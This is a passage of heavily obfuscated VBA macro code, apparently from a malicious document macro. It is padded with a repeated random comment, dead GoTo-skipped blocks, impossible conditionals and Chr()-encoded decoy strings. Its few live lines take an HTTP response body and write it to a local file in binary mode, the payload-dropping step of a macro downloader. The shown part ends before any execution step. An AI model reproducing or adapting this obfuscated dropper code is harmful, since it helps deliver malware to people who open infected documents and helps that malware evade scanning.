'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Loop
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo jtmeizts
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim wnzcwxxr As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(70) & Chr(86) & Chr(84) & Chr(79) & Chr(74) & Chr(79) & Chr(46) & Chr(68) & Chr(88) & Chr(84) For Binary As 44
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 712944 = 712944 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7937 < 45 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(114) & Chr(97) & Chr(107) & Chr(110) & Chr(116) & Chr(102) & Chr(107) & Chr(56) & Chr(54))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(116) & Chr(118) & Chr(117) & Chr(117) & Chr(104) & Chr(117) & Chr(103) & Chr(108) & Chr(56) & Chr(55) & Chr(55) & Chr(55)) = Len(Chr(121) & Chr(122) & Chr(112) & Chr(119) & Chr(98) & Chr(121) & Chr(103) & Chr(110)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #44, , wnzcwxxr
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 592286 = 592286 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8977 < 84 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(97) & Chr(115) & Chr(101) & Chr(112) & Chr(97) & Chr(115) & Chr(102) & Chr(101) & Chr(57) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(119) & Chr(117) & Chr(99) & Chr(108) & Chr(117) & Chr(108) & Chr(100) & Chr(112) & Chr(57) & Chr(56) & Chr(50) & Chr(55)) = Len(Chr(101) & Chr(119) & Chr(121) & Chr(103) & Chr(101) & Chr(112) & Chr(118) & Chr(111)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #44
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 937156 = 937156 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3971 < 85 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(103) & Chr(102) & Chr(114) & Chr(108) & Chr(118) & Chr(114) & Chr(115) & Chr(112) & Chr(57) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(116) & Chr(118) & Chr(114) & Chr(97) & Chr(98) & Chr(102) & Chr(101) & Chr(107) & Chr(54) & Chr(50) & Chr(52) & Chr(52)) = Len(Chr(117) & Chr(122) & Chr(105) & Chr(103) & Chr(105) & Chr(115) & Chr(97) & Chr(98)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
jtmeizts:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 458971 = 458971 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7545 < 78 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(115) & Chr(111) & Chr(99) & Chr(97) & Chr(118) & Chr(104) & Chr(106) & Chr(57) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(116) & Chr(122) & Chr(100) & Chr(119) & Chr(112) & Chr(106) & Chr(115) & Chr(111) & Chr(56) & Chr(51) & Chr(56) & Chr(53)) = Len(Chr(98) & Chr(119) & Chr(113) & Chr(97) & Chr(114) & Chr(99) & Chr(118) & Chr(99)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    wvavhsolbur = ocpvmgeelcx.responsebody
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo fwrjwysy
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim lhsqoaec As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(83) & Chr(89) & Chr(67) & Chr(72) & Chr(86) & Chr(81) & Chr(46) & Chr(83) & Chr(69) & Chr(67) For Binary As 37
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 111975 = 111975 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8583 < 41 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(118) & Chr(116) & Chr(107) & Chr(100) & Chr(115) & Chr(116) & Chr(103) & Chr(102) & Chr(57) & Chr(51))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(111) & Chr(116) & Chr(102) & Chr(100) & Chr(118) & Chr(119) & Chr(108) & Chr(114) & Chr(50) & Chr(56) & Chr(53) & Chr(54)) = Len(Chr(112) & Chr(105) & Chr(107) & Chr(98) & Chr(121) & Chr(109) & Chr(107) & Chr(112)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #37, , lhsqoaec
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 843886 = 843886 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8971 < 83 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(122) & Chr(115) & Chr(110) & Chr(122) & Chr(109) & Chr(114) & Chr(122) & Chr(108) & Chr(51) & Chr(56))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(111) & Chr(97) & Chr(114) & Chr(97) & Chr(101) & Chr(120) & Chr(118) & Chr(113) & Chr(57) & Chr(56) & Chr(50) & Chr(49)) = Len(Chr(114) & Chr(109) & Chr(101) & Chr(121) & Chr(120) & Chr(122) & Chr(113) & Chr(118)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #37
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 576822 = 576822 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 8458 < 59 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(108) & Chr(100) & Chr(108) & Chr(117) & Chr(116) & Chr(103) & Chr(102) & Chr(111) & Chr(51) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(112) & Chr(118) & Chr(109) & Chr(103) & Chr(121) & Chr(118) & Chr(101) & Chr(107) & Chr(57) & Chr(51) & Chr(57) & Chr(56)) = Len(Chr(113) & Chr(97) & Chr(118) & Chr(101) & Chr(103) & Chr(99) & Chr(101) & Chr(118)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
fwrjwysy:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 797296 = 797296 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7614 < 93 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(120) & Chr(103) & Chr(120) & Chr(119) & Chr(98) & Chr(97) & Chr(98) & Chr(108) & Chr(50) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(116) & Chr(98) & Chr(109) & Chr(105) & Chr(108) & Chr(109) & Chr(113) & Chr(49) & Chr(56) & Chr(55) & Chr(55)) = Len(Chr(98) & Chr(118) & Chr(118) & Chr(110) & Chr(122) & Chr(98) & Chr(105) & Chr(98)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    zgbpbucckrp = FreeFile
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Open kxqaxtgwbnh For Binary As #zgbpbucckrp
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo qpsicxsw
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim jymepjed As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(75) & Chr(86) & Chr(75) & Chr(85) & Chr(68) & Chr(66) & Chr(46) & Chr(81) & Chr(81) & Chr(70) For Binary As 54
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 719345 = 719345 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7999 < 45 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(117) & Chr(121) & Chr(115) & Chr(105) & Chr(104) & Chr(110) & Chr(112) & Chr(112) & Chr(56) & Chr(55))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(116) & Chr(97) & Chr(107) & Chr(118) & Chr(121) & Chr(122) & Chr(100) & Chr(115) & Chr(56) & Chr(56) & Chr(52) & Chr(49)) = Len(Chr(121) & Chr(116) & Chr(109) & Chr(113) & Chr(102) & Chr(110) & Chr(113) & Chr(107)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #54, , jymepjed
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 485964 = 485964 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 7815 < 72 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(109) & Chr(122) & Chr(109) & Chr(110) & Chr(115) & Chr(103) & Chr(121) & Chr(116) & Chr(56) & Chr(50))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(102) & Chr(120) & Chr(103) & Chr(111) & Chr(107) & Chr(119) & Chr(116) & Chr(115) & Chr(56) & Chr(54) & Chr(53) & Chr(53)) = Len(Chr(99) & Chr(112) & Chr(120) & Chr(114) & Chr(102) & Chr(100) & Chr(103) & Chr(115)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #54
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 843857 = 843857 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3129 < 86 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(102) & Chr(108) & Chr(114) & Chr(115) & Chr(116) & Chr(118) & Chr(115) & Chr(108) & Chr(57) & Chr(57))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(114) & Chr(114) & Chr(121) & Chr(109) & Chr(117) & Chr(117) & Chr(122) & Chr(122) & Chr(54) & Chr(51) & Chr(56) & Chr(51)) = Len(Chr(121) & Chr(105) & Chr(111) & Chr(117) & Chr(103) & Chr(116) & Chr(97) & Chr(105)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
qpsicxsw:
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 197136 = 197136 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 3936 < 33 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(122) & Chr(113) & Chr(117) & Chr(101) & Chr(102) & Chr(98) & Chr(116) & Chr(119) & Chr(53) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(111) & Chr(110) & Chr(112) & Chr(122) & Chr(120) & Chr(108) & Chr(110) & Chr(100) & Chr(52) & Chr(56) & Chr(56) & Chr(54)) = Len(Chr(101) & Chr(108) & Chr(105) & Chr(105) & Chr(106) & Chr(99) & Chr(102) & Chr(110)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
    Put #zgbpbucckrp, , wvavhsolbur
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
GoTo eubugyes
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Dim oeizanwr As String
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Open Chr(70) & Chr(67) & Chr(83) & Chr(85) & Chr(88) & Chr(82) & Chr(46) & Chr(67) & Chr(71) & Chr(80) For Binary As 44
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 322185 = 322185 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 6821 < 24 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(121) & Chr(111) & Chr(97) & Chr(99) & Chr(119) & Chr(107) & Chr(111) & Chr(100) & Chr(49) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(108) & Chr(101) & Chr(114) & Chr(99) & Chr(97) & Chr(118) & Chr(120) & Chr(55) & Chr(54) & Chr(54) & Chr(50)) = Len(Chr(113) & Chr(97) & Chr(99) & Chr(97) & Chr(97) & Chr(100) & Chr(110) & Chr(106)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Put #44, , oeizanwr
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 795272 = 795272 + 1 Then End
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If 1487 < 42 Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
        MsgBox (Chr(99) & Chr(106) & Chr(113) & Chr(108) & Chr(105) & Chr(116) & Chr(120) & Chr(102) & Chr(50) & Chr(52))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
If Len(Chr(99) & Chr(120) & Chr(112) & Chr(111) & Chr(122) & Chr(116) & Chr(121) & Chr(102) & Chr(53) & Chr(54) & Chr(53) & Chr(49)) = Len(Chr(116) & Chr(112) & Chr(108) & Chr(114) & Chr(118) & Chr(120) & Chr(107) & Chr(100)) Then
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
       MsgBox (Chr(101) & Chr(114) & Chr(114) & Chr(111) & Chr(114) & Chr(32) & Chr(33) & Chr(33) & Chr(33))
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
End If
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
Close #44
'kbeppoanqkcvsptytcxsbnceypghnorqezvlkymbfzjadffpocptpxyuoiihvvlqgkjeexvnotpvggwf
 
